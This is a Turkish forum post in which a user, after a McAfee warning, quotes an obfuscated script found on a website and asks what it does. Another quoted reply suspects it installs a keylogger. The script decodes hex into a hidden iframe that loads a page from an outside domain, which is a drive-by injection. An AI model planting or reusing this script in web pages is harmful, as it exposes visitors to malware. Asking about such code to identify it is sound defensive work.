mcAfee uyarı verdi ie ile bakarken. iframe açığıyla ilgili.
Satışı yapılan sitenin scripti internet explorer açığından faydalanarak karşıdaki kişiye sormaksızın, keylogger vs. zararlı yazılım yüklüyor olabilir.
scriptdeki şüpheli kod:
Alıntı
<script>function v473924dcf233c(v473924dcf2b07){ function v473924dcf32d4 () {return 16;} return(parseInt(v473924dcf2b07,v473924dcf32d4())); }function v473924dd00037(v473924dd00807){ var v473924dd01f75=2; var v473924dd00fd7='';for(v473924dd017a7=0; v473924dd017a7<v473924dd00807.length; v473924dd017a7+=v473924dd01f75){ v473924dd00fd7+=(String.fromCharCode(v473924dcf233 c(v473924dd00807.substr(v473924dd017a7, v473924dd01f75))));}return v473924dd00fd7;} document.write(v473924dd00037('3C696672616D65206E6 16D653D273037386164653827207372633D27687474703A2F2 F696371646F7375672E636F6D2F706F6F642F696E6465782E7 06870272077696474683D373937206865696768743D3430332 07374796C653D27646973706C61793A6E6F6E65273E3C2F696 672616D653E'));</script>
Acaba bu kod ne işe yarıyor
Encode edilmiş sanırım.
Özellikle şu kodu merak ettim:
Alıntı
document.write(v473924dd00037('3C696672616D65206E6 16D653D273037386164653827207372633D27687474703A2F2 F696371646F7375672E636F6D2F706F6F642F696E6465782E7 06870272077696474683D373937206865696768743D3430332 07374796C653D27646973706C61793A6E6F6E65273E3C2F696 672616D653E'));</script>
Kimlik doğrulama veya yönetimden onay bekliyor.Satışı yapılan sitenin scripti internet explorer açığından faydalanarak karşıdaki kişiye sormaksızın, keylogger vs. zararlı yazılım yüklüyor olabilir.Lisans adlı üyeden alıntı: mesajı görüntüle
Encode edilmiş sanırım.
